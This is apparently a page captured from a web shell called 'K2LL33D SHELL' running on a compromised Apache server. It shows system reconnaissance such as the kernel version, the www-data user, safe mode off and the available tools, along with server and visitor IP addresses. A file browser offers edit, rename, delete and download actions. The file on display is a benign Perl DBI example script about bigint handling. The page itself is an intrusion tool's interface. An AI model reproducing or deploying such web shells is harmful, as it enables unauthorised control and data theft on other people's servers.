K2LL33D SHELL

 Apache/2.4.7 (Ubuntu)
 Linux sman1baleendah 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 safemode : OFF
 MySQL: ON | Perl: ON | cURL: OFF | WGet: ON
  >  / usr / share / doc / libdbd-mysql-perl / examples /
server ip : 104.21.89.46

your ip : 108.162.216.216

H O M E


Filename/usr/share/doc/libdbd-mysql-perl/examples/bigint_quotes.pl
Size892
Permissionrwxr-xr-x
Ownerroot : root
Create time27-Apr-2025 10:10
Last modified18-Oct-2013 03:23
Last accessed06-Jul-2025 23:46
Actionsedit | rename | delete | download (gzip)
Viewtext | code | image
#!/usr/bin/perl

use strict;
use warnings;

use DBI;
use Data::Dumper;

my $create= <<'EOTABLE';
create table bigt1 (
id bigint unsigned not null default 0
)
EOTABLE

#my $dbh= DBI->connect('DBI:mysql:test', 'root', 'root', { mysql_bind_type_guessing => 2})
# or die "unable to connect $DBI::errstr";
my $dbh= DBI->connect('DBI:mysql:test', 'root', 'root')
or die "unable to connect $DBI::errstr";

$dbh->{mysql_bind_type_guessing}= 1;

$dbh->do('drop table if exists bigt1');
$dbh->do($create);

my $statement= 'insert into bigt1 (id) values (?)';

my $sth= $dbh->prepare($statement);

my $rows= $sth->execute('9999999999999999');
print "rows $rows\n";

$statement= 'update bigt1 set id = ?';
$sth= $dbh->prepare($statement);
$rows= $sth->execute('9999999999999998');
print "rows $rows\n";

my $retref= $dbh->selectall_arrayref('select * from bigt1');
print Dumper $retref;